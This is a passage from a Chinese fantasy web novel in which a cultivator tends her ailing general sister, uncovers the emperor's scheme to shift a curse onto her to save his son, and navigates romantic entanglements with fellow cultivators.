陆雪青虽然幼时见过许多杀戮血腥,但鬼魂还是头一次见,骤然见到悬在半空的鬼魂,脸色苍白,脖颈还挂着血痕,顿时脸色铁青。 “怀怀怀、怀笙!” 他紧紧抓住商怀笙胳膊,商怀笙一回头,竟见他两眼一翻,吓晕了过去。 “诶!” 商怀笙抱住他的腰,听见元妄一声轻笑,“行啊怀笙,我看这小伙子长得不错,不如……” 商怀笙捂住陆雪青耳朵,“师兄,我妹妹还在里面躺着呢。” “哈,是师兄考虑不周。”元妄上前来,帮她扶着陆雪青,高湘儿也紧紧地跟着他,半步不离,“等你妹妹好了,再好好发展。” 商怀笙抬眸,对上高湘儿半透明的眼眸,小声问道:“你现在能告诉我,是谁杀了你吗?” 高湘儿怯懦地缩着脑袋,眼中闪过畏惧,很轻地点了下头。 8 皇宫中,今日将军府上发生的事情已被密探转述给李昱辰。 李昱辰还未说话,暗中另一人走出来,笑容阴冷,“看来我们这位天策神威大将军,倒真是骁勇善战。” 李昱辰挑眉,眼中带着责怪之意,“你的事儿办成这样,还敢出现在朕面前?” “原本该一切顺利的,若不是陛下找的那几个修士真有点本事。”相文客想起乐楼外站在陆雪青身边的人,道,“他们今日能救得了将军,说不定真能根治将军的疾病。” “呵,妖毒已经侵入肺腑,她已经没几天活头了。”李昱辰看向相文客,神色冰冷,“等她死了,我儿身上的厄运便能消解。” 相文客笑道:“陛下失去这么一位战将,难道不觉得可惜?” “大庆人才济济。”李昱辰说着,眼神中有几分不舍,“倒是可惜了小叙这么好的一个孩子。” 相文客见惯他这幅伪善模样,笑容中多了几分讥讽,“陛下若真觉得可惜,商将军到也并非无药可医。” 李昱辰嘴角微微抽搐,“小叙心怀苍生,是为国家社稷而牺牲。” 相文客嗤笑一声,御书房内氛围一片死寂,两人不约而同地想到了那个曾经为李昱辰杀下这大庆江山的小女孩。 烛火忽明忽暗,照出李昱辰脸上无数细小的皱纹,阴影下宛如蠕动的爬虫。 他脸色愈显灰白,感叹道:“我老了。云月都与落凤原的督主都正值芳华,朕不能不为大庆的未来考量。” “你也老了。”李昱辰扫过相文客眼角的细纹,“本王初见你时,你也如现在的陆雪青一般意气风发。” 相文客笑容消失,语气冷飕飕的,“初见陛下时,陛下也正值壮年。” “商叙和她姐姐不一样,她更忠心,更听话,却也实在不如怀笙。”李昱辰道。 相文客无言,心想如果当年商怀笙并未离开,肯定也会走上商叙的老路,甚至会比她死的更早。 飞鸟尽,良弓藏;狡兔死,走狗烹。 商怀笙的的存在,在战乱之时如有神助,在江山稳定之时,她就是最大的隐患。 时隔十三年再次想起,相文客内心还是会泛起深入骨髓的恐惧。 李昱辰自然也不会忘记,他眼中闪过一丝怨毒,道:“前几日那个修道的来找过我,说商叙的病还有医治的可能,只是需要时间。” 相文客轻笑,“这人倒是个不识趣的,陛下难道没有告诉过他,将军的病关系大庆千万人?” “早知这人是真心为商叙治病,我一开始便不会让他们去见她。” “事已至此,不如让桑月姑娘去游说,我瞧着她与那位道长甚是熟络。” 李昱辰眸底投下一片阴翳,“桑月对咱们的所做的勾当不屑一顾,呵,这群人不过是装模作样假清高而已,若没有他们潮海阁相助,能有今日战无不胜的天策神威大将军?” “那,陛下打算怎么办?” “过几日我会在宫中设宴为你们践行,你训练的那几个乐师如何了?”李昱辰问道。 “虽弹不出潮海阁修士般的仙音,但也能有七分像了。”相文客说着,语气中有一丝犹疑,“只是那大妖道行不浅,万一无法控制,伤及无辜……” 李昱辰笑了笑,眼神中是势在必得的冷意,“放心,城中那么多修士,断不会让她逃脱,况且,就算是伤了人又如何?正好让他们看看,世人尊敬的大将军,其实是个残忍嗜血的怪物,岂不更加震撼?” 相文客微微躬身,极尽顺从,“陛下所言极是。” 第25章 第二十五章 断龙已经找到了 问玉见到商叙时, 她的情况已经稳定许多,秦湫在她床边照看着,一如从前照拂商怀笙。 “师叔。”见他过来, 秦湫抬眸。 “她怎么样了?” “睡着了。” 秦湫欲言又止, 顿了半晌,道:“刚才商将军发病时,好重的怨气。” 问玉嗯了一声, 她又道:“日曜城中修士众多,肯定有人能够觉察到,为何这么久了,都没人发现?” 秦湫观察着问玉的神色,不见他半点惊讶之色,心中已经了然, “师叔, 您是不是知道了什么?” “是查到了一些……” 问玉刚开口, 商怀笙便走了进来,秦湫慌忙起身, 给他递了一个眼神。 问玉抿唇, 转头看向商怀笙,“不和你的小情郎叙旧了?” “你瞎说什么!”商怀笙白他一眼,“为老不尊。” 问玉没接话,秦湫目光在二人身上转了一圈, 落在商怀笙身上, 露出浅笑, “陆雪青年少有为,配你也还算够格。” 问玉唇角抽动,露出一副“你眼瞎了吧”的表情, “我知道商怀笙自小养在你身边,可你也不至于溺爱到失去理智的地步。” 秦湫笑容微僵,多了几分局促与不好意思,商怀笙叉腰,抬头冲着问玉道:“狗嘴里吐不出象牙来,我师姐哪里说错了,陆雪青配我不够格?!” 问玉表情更加无语,抱起胳膊,面带戏谑之色,“说反了。” “哦——”商怀笙反应过来,扬起下巴,提高音调,“你的意思是我配不上陆雪青?我哪里配不上他!” “陆公子饱读诗书……” “我也读过很多话本!” “话本也能叫书?” “不都是字吗!我哪里配不上他?” 商怀笙直直地盯着问玉的眼睛,眸光闪烁,有一股打破砂锅问到底的狠劲,似乎要逼着问玉承认她与陆雪青相配一般。 本来只是无所谓的玩笑话,但被她这样盯着,问玉也生出反骨,态度变得严肃起来,“你俩一个修士一个凡人,凡人寿命不过数十载。” “那又如何?能与所爱之人相守数十载也是人间至幸!若是有幸能寻得他转世,亦可再续前缘,生生世世永不分离!” “你真这样想?” “自然!” “……” 商怀笙话本子不是白看的,那些缠绵悱恻的爱情故事,感天动地的山盟海誓都牢记于心,背得比她学的剑法还顺溜。 见问玉哑口无言,商怀笙得意洋洋,“你说,我与陆雪青是不是相配?” “……配!你俩是世间最相配,行了吧!” 问玉脸色黑沉,说完便大步流星地走了出去。 商怀笙侧身看着他背影,感到莫名其妙,“他怎么了,不是开玩笑吗?说不过我就生气了?真是好大的气性!” 秦湫笑得有几分无奈,“你老跟师叔顶什么嘴?” “我听见他奚落你们便觉得不爽!不过是仗着自己辈分高一些而已,他怎么不去嘲讽那些道行比他高的?” “……师叔也不是没有干过这种事情。” 商怀笙哼了一声,想起刚才问玉听到她说“当然”时的表情,除了震惊不解外,似乎还有点别的情绪,她以前从没在问玉脸上看到过,故而印象深刻,总是忍不住想起。 可能是他老人家第一次在爱情议题上吃瘪吧。商怀笙没有细想。 * 商叙睡了一天一夜,第二日傍晚才醒来,尚未完全清醒之时,听到耳边有吵人的嬉闹声。 “你会徒手开核桃吗?啧,这么点力气?真笨。” “很疼。” “那你去把凳子搬过来,把凳子腿卸了,用凳子腿砸。你多吃点,补补脑子。” “好!” 充满天真的一个“好”字,让商叙瞬间睁开了眼,起身一瞧,看到那日来的女子和他们的太子殿下同在她床前。 他们高贵的太子殿下,正在商怀笙的指挥下,撅着屁股砸核桃。 “李承允,你干什么呢!” 听到自己的名字,李承允转过身来,看到商叙醒了,脸上露出笑容,质朴单纯,甚至有几分憨厚。 他与商怀笙一起坐在门口,与商叙的床铺隔了一整间屋子,他抬腿想要上前来,但想到什么又停在了原地。 商叙迅速起身,她身上已经换了身便服,应该是冬星或春月换的,可是眼下不见她二人,反倒是个陌生人在这里,商叙神色警惕地看向商怀笙。 “你怎么在这儿?” 商怀笙正徒手捏着核桃,她摸了下自己的脸颊,抬头冲商叙笑笑,“他们让我盯着你。” 商怀笙在她床前守了一整夜,早晨回了趟客栈,犹豫许久,还是换上了易容——她现在不知道该以怎样的方式与商叙相认。 “不需要。”商叙一醒来就没半点好脸色,“出去!你也出去。” “小叙……”李承允满脸委屈。 商怀笙笑着说:“没想到啊,李昱辰算计了一辈子,竟然生了个傻儿子。” 话一出口,商叙的脸色瞬间难看起来,“谁允许你妄议朝政?” 李承允转头,本就委屈的心情变得更加委屈,嘴唇都能挂起油壶,“我不傻,只是没有旁人那么聪明。” 商叙走上前来,将李承允拉到身后,“那个江湖术士,你使了什么手段,竟然出现在这里?” 她敌意满满,商怀笙心中有几分失落,摊开掌心将剥好的核桃都塞给李承允,“你昨夜发病,我和我师姐来照顾你。” 商叙闻言,眼神暗了暗,脸上闪过一丝担忧,“我可有伤人?” 商怀笙顿了顿,“没有。” 商叙比她更会察言观色,在她那一秒的迟疑中已经猜到真相,内疚浮上心头,“府里的人怎么样了,我去瞧瞧他们。” “别去!”李承允拦住她,“冬星春月姐姐都好得很,她们在给我做荷花酥。小叙,吃核桃!” 说着,他将手中的核桃喂给商叙,说是喂,其实是硬往她嘴里塞,商叙皱着眉不肯张口,李承允竟夹着嗓子撒娇。 “小叙,尝一尝嘛~我费了好大的力气给你开的,手都砸红了!” “……” 商叙勉为其难地张开嘴,商怀笙忍不住翻了个大白眼,李昱辰这傻儿子还会借花献佛,明明都是她剥的。 商叙问:“你真是……你怎么又跑出来了,陛下知道吗?” 问到这个问题,李承允不说话了,捧着核桃的手缩了缩。 商怀笙替他解释道,“他偷偷跑出来的,想翻墙进来的时候被我发现了。” “不要说!” “说完了。” 李承允气得跺脚,商叙无奈地扶额,“你这样陛下会怪罪。” “我想见你,小叙。我已经好多好多天都没见你了。” “……我不是说了吗,有时间我会去见你的。” “可我很想你。” “……” 噫! 商怀笙在话本看到都要嫌腻歪的话,商叙居然半点嫌弃都没有,甚至还沉默了。 沉默就是默许,默许就是她接受了李承允的胡来。 商怀笙在一旁看着,很好奇两人之间的关系:李承允对商叙的喜爱之情溢于言表,那商叙呢? 她难道喜欢这个傻子?还是李昱辰的儿子! 陆雪青那个病秧子都比这个傻子要强。 商怀笙不由得有几分担忧,她妹妹眼光不怎么样啊。 她正琢磨着怎么棒打鸳鸯的时候,外面响起敲门声。 “怀……道长,商叙醒了吗?” “醒了。”商怀笙应着,李承允在商叙的指示下跑过去开了门。 他本来很开心的,一瞧见是陆雪青,脸顿时耷拉下来,急忙要把门关上。 “殿下,你果然在这里!” 不同于对待商叙的关切,陆雪青神色严肃,李承允吓得发抖,飞快跑回商叙身边。 “殿下,若是被陛下知道了,你又要受责罚。”誻膤團對獨鎵 陆雪青缓步进来,瞧见商怀笙,嘴角微微上扬,与她对视一眼,又板着脸看向李承允。 “我这就回去。”李承允急着把手里的核桃塞给商叙,“先生,别告诉父王。” “天快黑了,马车在外面,殿下,你现在就得离开,一刻也不能耽搁。” “先生,等等,再等等。小叙,拿着!” 商叙看着手里满满的核桃:“……” 就这几句话的功夫,李承允竟已满脸泪水,急匆匆将手里的核桃都交出去,便快步跟在陆雪青身后,又道:“先生,别告诉父王!” 陆雪青露出无奈的神色,抬手擦去他脸上的眼泪,“走吧,我不告诉他。” “小叙,我走了。” 他一步三回头,商叙只是静静站着,就这样目送他离开。 房门关上,屋里便只剩商怀笙和商叙。 冗长的安静后,商怀笙起身告辞,“我家道长已经用法术压制了将军的病,近日应当不会再犯了。我就住在回墨长街,若有任何需要,将军可以来找我。” 说着,商怀笙递出一条盘蛇形玉坠,“将军若是想要外出,可以佩戴这条项链,能让将军免于被四周的浊气影响,减少发病的频率。” 进日曜城以来,除了进宫,商叙哪里都没去过。 “多谢道长。”商叙脸上并无喜色,淡淡问道:“我还能活多久?” 商怀笙微顿,道:“将军能长命百岁。” “呵。”她嗤笑一声,背过身去,“道长慢走。” 商怀笙盯着她的背影看了一会儿,悄然离开。 这玉坠是她初入四水阁时,宋良白送她的,那时的她也是怨气缠身,宋良白便把这能压制邪气的宝玉赐给她。 商叙和她走了一样的路,即使十几年没见,商怀笙也能猜到她是怎么过来的,把一个不经世事的小女孩训练成杀人兵器,李昱辰手段毒辣,商叙没有天生神力,吃过的苦只会比她更多。 这是她在世间唯一的亲人。 商怀笙握紧双拳,脑中浮现李昱辰可憎的样貌。 如果就这么放过了他,实在可惜。 * 夜幕降临,来自全程各处的马车陆陆续续进入回墨长街,寻找住宿之处,问玉他们下榻的客栈只有他们几人,却挂上了“客满”的灯笼。 商怀笙留在将军府未曾归来,除她之外的四人,连同陆雪青,皆聚在店内,一个个脸色都十分凝重。 陆雪青刚刚从皇宫回来,他把李承允送回去,顺道拜见李承允,告诉他商叙的病正在好转,或许可以治愈。 如他所料,李昱辰看上去并没有那么高兴,强颜欢笑中,透出深深的忌惮之意。 问玉今日所言,更是笃定了他的猜测,“李承允阳寿已尽,还能这般生龙活虎,是用邪术强行续命的结果。” 他只是见了李承允一面,便看出他不同于常人是邪术的后遗症,而商叙身上的怨气,原本该是属于他的。 李昱辰谋权篡位,虽然结束了乱世,但也屠戮手足,弑父杀母,残害无辜,罪孽深重,他为了统一庆州,逼迫边境的部落臣服,不肯归降的,便屠杀全族。 这些部族中不乏能人异士,流淌着妖族与魔族的血液,被他设计屠尽,自然怨气深重。 他在位十三年,后宫三千,前前后后有十四个孩子降生,但大都在幼年夭折,李承允是唯一一个成年的孩子。 为了能让李承允平安长大,他便将商叙寻来养在身边,偷偷为二人“转运”。 商叙如今屡屡发病,无药可医,内里损耗,便与此事有关。 陆雪青想到今日李昱辰那笑里藏刀的神色,后背已经浸出一身冷汗,他怀疑过商叙的病症与李昱辰有关,也早知李昱辰对他们有所忌惮,却不知道这背后的真相如此复杂,如此……令人作呕。 若是被怀笙知道,怕是当晚便会杀进皇宫。 陆雪青搓着衣袖,神色严峻,若是说反,他落凤原与云月都也不是没有这个实力,军队集结也不过是三日的问题。 只是……商叙在外征战,为的便是黎民百姓安居乐业,不再流离失所。 陆雪青合眸,轻叹一声,“道长,小叙的病可以医治吗?” 问玉点头,“可以。” “那,小叙如果好了,李承允会怎样?” 问玉道:“商叙身上缠绕的怨气并非轻易能祛除的,一种是用法术强行压制,治标不治本,随时有反噬的风险,另一种便是将这怨气渡到旁人身上,只是这样强烈的怨气,凡人之躯无法承受,最终也会落得命丧黄泉的下场。” 若让问玉来选,定是物归原主,既然是李昱辰做局,那便让他们自行承受这恶果,只是陆雪青的神色略显紧张,语中带着犹豫。 “小叙与李承允自小一起长大,情谊深厚。而且李承允是太子,李昱辰唯一的孩子,若他死了,大庆后继无人……”陆雪青垂眸,若有所思。 问玉认识他不久,却已经从他纠结犹豫的神色中猜出几分,这人估计是在琢磨着用自己来换商叙的命。 他敢用归元鬼针给商叙续命,便根本没把自己的性命放在心上,现在会犹豫,也许是刚刚与商怀笙相认的缘故。 问玉蓦地想起那日商怀笙与他争辩“配与不配”时的景象,若陆雪青真的为她妹妹而死,纵使是商怀笙这种没心没肺的家伙,这辈子恐怕都无法忘记这个人了。 “转运之术不是那么容易施行的,若有不慎会遭到反噬。”问玉起身,结束这一场谈话,“待我与兄长商议后再做决定。” * 商怀笙夜里才回来,陆雪青还在大厅坐着与元妄闲聊,不知二人说了什么,陆雪青满脸通红,见商怀笙回来,与她寒暄几句,便匆匆离开了。 待他走远,元妄打趣道,“陆雪青特地坐到现在便是为了见你一面,你倒好,上来便问他怎么还不走,若是换成我可要伤心死了。” 商怀笙不解,“他等我做什么?想见面明天不能见吗?” “你真是个榆木脑袋。”元妄道,“当然是因为这位陆大人对你情根深种。” 商怀笙眉头微微皱起,幼时的事情她都记不清了,认真算起来她和陆雪青其实才认识了几天,“情根深种”这个词用在她身上实在让人感到压力很大。 “我们俩不过是幼时相处过一段时间,人真的能因为一段模糊的记忆就爱一个人吗?” “爱情便是这样不讲道理的。如果像剑法心法那样有理论书籍可以学习参考,便不会有那么多人败在情劫上了。” 商怀笙还是觉得难以理解,元妄问她,“陆雪青这样,你讨厌吗?” 她认真想了想,摇摇头,陆雪青脸红羞涩时的模样还是有几分可爱的,而且他对商叙也是尽心照料,于情于理,她都不该讨厌他。 “那不就得了!”元妄笑意盈盈,道,“我瞧着他就不错,你生辰欠下的,不如就趁这个机会补上?” 他提起这个,商怀笙不敢说话了,毕竟与问玉厮混过那几日,也算是完成了她生辰计划清单中的一条。 “这个再说。”商怀笙神色僵硬地转移话题,“高湘儿怎么样了?” “在楼上与许鲜待在一起。” “我去看看。” 商怀笙快步上楼,踏进走廊便撞见了闻惠。 闻惠见到她,下意识地脸色紧绷,像是刚开始那样严肃地瞪着她,又忽然想到什么,脸色一变,多了几分局促与尴尬。 “商怀笙。”她主动开口,“午后三山宗传来消息,说金田醒了,已经恢复了意识。” 商怀笙挑眉,“哦?” “他说妒忌你有神器,主动挑衅断龙,才被断龙误伤。”闻惠脸上浮现出一丝愧疚,起身道,“抱歉,误会了你。回去之后,我会训诫他,让他来向你道歉。” 她要是像以前那样趾高气昂,商怀笙肯定会趁机奚落她几句,但她诚心诚意地道歉了,商怀笙反而不好意思再讥讽。 “哦,我知道了。”商怀笙说完便要去找高湘儿,路过闻惠身侧,还是忍不住说了一句,“我就说断龙绝不会故意伤人。” 闻惠挤出一丝牵强的笑意,“是我的错。师父说此事我们三山宗弟子有错在先,你妹妹的事情若是有任何需求,三山宗必当鼎力相助,权当赔罪。” 商怀笙骄傲地扬起下巴,“那多谢你们了。” 说罢,便拐进了元妄的房间,她表现得无比淡定,进门时雀跃的脚步却暴露了内心的得意。 闻惠无声地叹气,抬眸对上走廊尽头的问玉,快步上前,“师叔,我已经向她道过歉了。” “我听到了。”问玉的目光落在元妄的房门上,“既然证明不是商怀笙指使,你也没必要再待在这里监督了,可以随时回去。” 闻惠闻言,问道,“师叔,那你呢?” 问玉没有答话,但他的神色已经说明了他要留在这里。 “师叔,其实我不信金田的说辞。”闻惠敛眸,脸上浮现几分担忧,“金田他倒在自己住处,且四周并无打斗痕迹。他虽性急张扬,但也不会做出这种蠢事。” 问玉闭关百年,对她这徒弟没什么印象,“你还是怀疑商怀笙?” 闻惠摇头,“金田素来与商怀笙不睦,若真是商怀笙,他肯定一醒来就要四处告状了。我是怀疑有外人入侵。” 问玉轻笑,语调慵懒,“你是觉得你徒弟在袒护一个差点杀了他的外人?” “他也不至于这么蠢。” “别想那么多了,你那徒弟我也见过,的确是好事之徒,你若怀疑,不如现在回去问清楚?” 闻惠摇头,神情低落,“断龙还未寻回,我不放心。我也和师叔一起留在这里,待将断龙寻回我再回三山宗,可尽绵薄之力。” “断龙已经找到了。” 闻惠眼睛微亮,“找到了?” “商怀笙说就在府上武器库房里,她上次来的时候偷偷溜过去见到它了,断龙躲在武器堆里,不肯跟她走。”问玉道。 “躲?”闻惠没想到有一天“躲”这个字会用在断龙的身上,表情有几分无语,“商怀笙作为剑主,她不是能直接召回断龙吗?” “她不想强行召回,说要尊重断龙的意愿。呵,净说些招笑的话。”问玉说着,唇角浮现出一丝笑意,有些无奈地说,“由她去吧,有我在这里,不会出什么岔子。” 闻惠看见他的笑容,一时错愕,竟从他的话语中品出了几分宠溺的意味。 宠溺…… 脑海中冒出这个词,闻惠瞬间觉得脊背发凉,一股寒意直窜天灵盖。 这个词用在问玉身上实在有几分可怕,比说元妄专一还让人觉得毛骨悚然。 定然是师叔心怀正义,所以才路见不平拔刀相救,留下来帮助商叙,就算是与商怀笙无关的人,师叔也肯定会帮忙的。 肯定是这样。 第26章 第二十六章 得离问玉远一点 许鲜在客栈养了几日, 身上的伤好得差不多了,但是不能长时间维持人形。 他本就是因为机缘巧合才修成人形,妖力微弱, 也无人教他修炼之法, 若不是恰好与问玉相识,凌枫院这一剑可能会彻底断了他的修行之路。 许鲜如今在元妄身边养着,元妄也会教他一些修行的心法。 商怀笙曾经问元妄是否想收元妄为徒, 元妄认真地想了想,然后摇头。 宋良白这七位弟子中,除去资历尚浅的商怀笙,便只有元妄和秦湫没有徒弟。 四水阁每三年招生一次,商怀笙来了这些年,宗门中陆陆续续也招了近二十位弟子, 连大师兄的徒弟都开始收徒了, 元妄和秦湫仍是没有动静。 商怀笙曾一度觉得他们这般是因为要照顾自己, 秦湫却说并非如此,她是因为自己修行不足不敢收徒, 而元妄则是纯粹懒得带徒弟, 至于这其中有没有旁的隐情,他们不说,商怀笙也猜不出来。 商怀笙进屋时,许鲜化为猫趴在窗台上, 高湘儿飘在半空, 饶有兴致地盯着他看, 还想伸出手去摸一摸他,许鲜被寒意激的猫毛都炸了起来,但想到她无辜横死, 心生怜悯,忍住没有跑开。 高湘儿已经没有初见时那副惨样,恢复了正常的样子,见到商怀笙进来,她似是有些害怕,双手收回袖中,乖巧地站直向她行礼。 “大人。”她已是鬼魂,声音听起来有几分空灵。 “你不必这样叫我。”商怀笙瞧着她应该和商叙差不多大,心中也泛起同情,“还有几日你便要去轮回投胎了,你可想好了,可还有什么未完的夙愿?” 高湘儿歪着脑袋想了半天,露出一丝少女的娇羞,“其实我一直在跟乐楼的柳宝儿姑娘学琵琶,想等着某日将军来弹给她听呢。” 闻言,商怀笙喉中一哽,她口中的将军便是商叙。 高湘儿一家老小本是住在云月都,那地方从前无比混乱,土匪杀了她的父亲和妹妹,搞得她家破人亡,是商叙带兵剿匪,不仅帮她报了仇,还给了她们母女一笔盘缠,让她们能够来日曜城投奔外祖父母。 “好久没见到将军了,我还想当面跟她道谢,可是将军来了日曜城后便在养病。”说着,高湘儿脸上浮现一丝愧疚,“那日被妖怪袭击,我害怕得紧,第一时间便想去找将军求助,可刚一靠近将军府便被人砸了脑袋,陷入昏迷。” 刚被召出魂魄那日,高湘儿神志不清,说话混乱,见到商怀笙的脸,便想到她原本是要去找商叙的,便马不停蹄地去了将军府,却被结界挡住。 而凌盛却以为她是被商叙所害,种下了怀疑的种子。 “我这样不会给将军带来麻烦吧?” 清醒之后,高湘儿想起那日凌盛的种种表现,总是有几分害怕。 或许是因为变成鬼魂的缘故,她对每个人身上的气场感知更加清晰,凌盛看起来嫉恶如仇,一副巴不得赶快去送她投胎的神态。 商怀笙摇摇头:“不会的。所以那日你遇袭,究竟是什么情况?” 高湘儿陷入回忆,脸上浮现出害怕的情绪,但很快又消失,“那日下着小雨,我从乐楼提前回来,走在巷子里,忽然发现地上的水洼中多了一道影子,我害怕地抬头,便看到了一个长满长毛的怪物站在墙上,一双眼睛冒着绿光,死死地盯着我。” “我下意识地想要尖叫,可是太害怕了,发不出声音,只能眼睁睁看着它朝我扑过来,它身上的雨水都甩到了我的脸上,就在我以为我要死了的时候,它忽然撞在了墙上,然后用爪子狠狠地剜了一下自己的身体!” 高湘儿伸出五指,弯曲,在空中大力地划了一下空气,“像这样。然后它就流血了……我太害怕了,所以很多事情记不清楚,只知道它大概抓了自己三四下,便转身跑了。” 高湘儿说完,心情也慢慢平复,“所以我觉得,它或许并不想伤害我。” “不伤害你还在墙上埋伏?”商怀笙故作高深,“不要对任何人抱有太多的善意,尤其是妖魔。” “可是许鲜大夫人就很好啊,他还给我治过病。” 高湘儿唇角上扬,右脸颊有一个小酒窝,许鲜翘了翘尾巴,似是有几分羞涩。 望着这幅景象,商怀笙也忍不住露出笑容,“那你怎么想到去找商叙呢,遇到这种情况不应该去报官吗?” 高湘儿神色微僵,低下头望着自己脚尖,沉默许久,才怯怯地看了她一眼,道:“大人,因为你是将军的家人我才说的,你千万不要告诉请言府的人。” 商怀笙耸耸肩,“怎么了?” 高湘儿道:“其实那妖怪后来克制自己不伤害我的时候,我觉得它的眼神很可怜,我知道陛下请了修士来收妖,若是告诉请言府的人,他们定然会伤害那妖怪,将军肯定不会,而且,而且……” 她欲言又止,商怀笙追问:“而且什么?不是说会告诉我吗?” “而且!我见过将军剿匪时的英姿,那妖怪飞身上墙的时候,我觉得它的姿势和将军很像。” “……” 商怀笙感觉自己的血液慢慢凝固,变冷,许多细节在脑中闪过,那个不肯相信的猜想又一次被肯定,尽管她想说服自己那只是凌盛为了报复她的胡编乱造,可是种种迹象表明,这可能是真的。 城中发生的妖物伤人的命案,真的与商叙有关。 * 夜黑得浓稠,不见星月,像一块巨大的黑布蒙在将军府上,透不出一丝光亮。 商怀笙坐在围墙之上,静静地看着商叙的房间,那里透出微光,双胞胎姐妹半个时辰前走了进去,现在并肩出来,烛光亮了一会儿,熄灭,整个院子都陷入黑暗中。 商怀笙盘腿,四周渐渐安静下来,她轻声叹息,打算再坐一会儿,等安静了再走。 其实她早该想到,那妖怪那么浓郁的妖气却瞬间消散,只能是有更加强大的气息遮掩了,比如商叙身上的怨气。 至于为什么他们无法轻易感知到那股怨气,或许是因为这道结界的缘故。 这是谁留下的结界? 大妖与怨气又是从何而来? 商怀笙有许多事情想不清楚,却又无人可问,连最信任的秦湫都不敢开口——若商叙身上真有妖物,她杀了人,背了罪孽,问玉他们作为斩妖除魔的修士,自然是要与她清算。 就算商叙并不知情,大妖附在她的身上,除妖时也会损伤她的身体。 她不想让任何一方受到伤害,可是想不到解决之法。 商怀笙试着唤了唤断龙,这没良心的只是晃晃回应了她一声,便再没反应,待在一堆武器中装蒜,亏得她千里迢迢来找它。 商怀笙气得哼了一声,抱着胳膊生闷气,忽然听到身后似乎传来一声轻嗤,她眉头一紧,猛地转身低头,发现问玉正站在墙下。 看到是他,商怀笙心里的紧张顿时消散了,“你来做什么?” “你大半夜溜出来,我怕你做坏事。” 问玉飞身上墙,站到她旁边。 商怀笙道:“问玉道长怎么老喜欢跟着我?” “你若是沉稳不惹事,我自然不用担心。” “也是年纪大了少觉吧?所以才这么有闲功夫。” 两人一开口就是互怼,问玉比元妄秦湫大不了多少,这年纪放在修真界还算是年少,但商怀笙老拿他年纪说事儿,好像问玉是个多老的老东西一样。 他本来就比商怀笙年长,跟她计较这些显得他心胸狭窄,若真认了自己年纪大问玉又心生不爽,便索性换了话题,“你大半夜的不睡觉,出来做什么?” “我……”商怀笙不敢告诉问玉实情,“我来瞧瞧我妹妹,不行吗?” 问玉歪头打量着她的神色,也盘腿坐下来,“你不必担心,你妹妹会安然无恙的。” “安然无恙……呵。”商怀笙对这句话的表现出几分不屑,“我相信道长有真本事,可是安然无恙这四个字太重,伤一丝一毫都不能称之为安然无恙。” 问玉无奈,“你是要逐字逐句地反驳我?” “我可不敢,只是道长要知道,有些事情不能轻易许诺。”商怀笙想起今日闻惠的话,便问道,“既然金田已经没事了,你们何不回去?” 问玉愣了愣,目光掠过她带着惆怅的眉眼,道,“此事毕竟因我三山宗弟子而起,又遇到妖物伤人这样的事情,既然来了,便不能坐视不理。” 那是要和凌枫院的那些人一样赶尽杀绝吗? 商怀笙神色落寞,旁边飘来问玉身上淡淡的木梨香气,霎那间触动了她的心弦。 回想起在囚龙谷的时候,她浑身燥热无法缓解,担心地问自己是不是要死了,问玉吻着她的额头,温柔地告诉她,有他在,不会有事。 他们那时候认识了不过几日,问玉也只是出于负责与同情,可商怀笙忽然有些怀念起那时的感觉,全身心都交给问玉,虽然害怕,却因为他的话无比安心,知道她一定能活下去。 “希望你说到做到。”商怀笙说。 问玉转头看向她,月亮突然出来,他的脸霎时明亮,“你放心,我绝不会食言。” * 问玉这样说了,之后便一直出入将军府,有时候商怀笙跟着,有时候不让她跟着,商怀笙见识少,也不知道他在捣鼓什么,甚至刻意避开她,许是怕她偷学了去。 三山宗的人就是小气,每次被关在外面,商怀笙总是忍不住腹诽。 不过有一点,商叙的气色确实比从前好了许多,脸色红润,身上的怨气也消减许多,她也不似从前那般消极,脸上甚至有了几分笑意。 商怀笙还是一直易容,她每晚都在将军府外守着,想等商叙好了再考虑相认的事情,这天商叙心情愉悦,在她面前耍了枪法,脸上挂着笑,有了十七岁的少年将军该有的意气风发的模样。 想起这几天问玉忙前忙后,商怀笙觉得他还是有点真本事的,却也会担心,问玉会不会在诊治过程中发现妖物的存在。 也是这天傍晚,皇宫的请柬送来,皇家的仪仗将客栈前的路都堵死,好大的排场,恨不得让整条街都知道他们的到来,只为邀请问玉和商怀笙去参加宫宴。 四城会面已经结束,相文客三人即将回城,李昱辰设宴为他们送行,参宴的都是皇亲国戚,朝中达官显贵。 几人没想到他会邀请商怀笙,毕竟问玉辈分高,她只是随着去见了李昱辰依次,按理来说并不会给他留下什么印象。 请柬上写的是商怀笙留下的假名字,秦小武。 问玉接到请柬后没有反应,收下来便出门了,也不知道去了哪里。 秦湫对此有几分担忧,“好端端地怎么也叫你一起去,这样的宴会……” 她知道商怀笙排斥与李昱辰见面,这样的宴会更是会勾起她那些不好的回忆。 商怀笙倒是冷静,“也没什么大不了的,又不是没参加过。” 只是那时候年纪小,只知道吃,看不明白宴会上的暗流涌动——虽然现在也未必能看懂,但绝对不会像小时候那样被动了。 三人间的氛围有几分凝重,闻惠看了看她们,开口道,“潮海阁可是李家的贵客,这次桑月圣女在日曜城,肯定也会被邀请。你能亲眼见证,就偷着乐吧。” 她的话成功引起了商怀笙的注意,“你的意思是?” 闻惠露出期待的笑容,“桑月对师叔一往情深,这次相遇后,师叔常独自出门,也是就是为了跟她见面。一别百年,师叔也是知道桑月的好了。” 她看起来很兴奋,商怀笙微微撇嘴,“嘁,桑月姑娘长得那样美,也只有问玉那种不解风情的木头才会拒绝人家。” 元妄道:“问玉师叔从前修无情道,如今道身破了,也能沾染人间情欲了。” 他话音刚落,秦湫便暗暗瞪了他一眼,元妄意识到自己说错话,有几分慌张地看向商怀笙,果然见她眉眼微垂,攥住了衣袖。 “不过话又说回来……师叔闭关百年也没有突破瓶颈,这道身破不破也无所谓了。你说是吧?怀笙。” 最后这句简直是画蛇添足,元妄差点咬到自己舌头,看到秦湫投来的视线,他抹去额间冷汗。 “嗯,没错。” 商怀笙听到那句“道身破了”便心颤,和问玉待的时间久了,她经常会忘了两人的事情,也忘了自己想要远离问玉的初衷。 眼下问玉帮她救妹妹,她又欠了问玉人情,以后指不定要纠缠,这该如何是好? 秦湫与元妄对视一眼,秦湫眼里有责怪之意,元妄微微耸肩,有几分无奈:我嘴比脑子快,我也不是故意的。 闻惠将几人的表情尽收眼底,脸上露出不爽之色,“我还在这里呢,你们便这样议论三山宗尊者!师叔就算道身破了又如何,他依然是我们的师叔!” 元妄瞥她一眼,“你也没放过他。” 闻惠瞪他,“别跟我说话!” “是你先跟我们说话的。” “我在跟秦湫讲话,谁理你了?” “……” 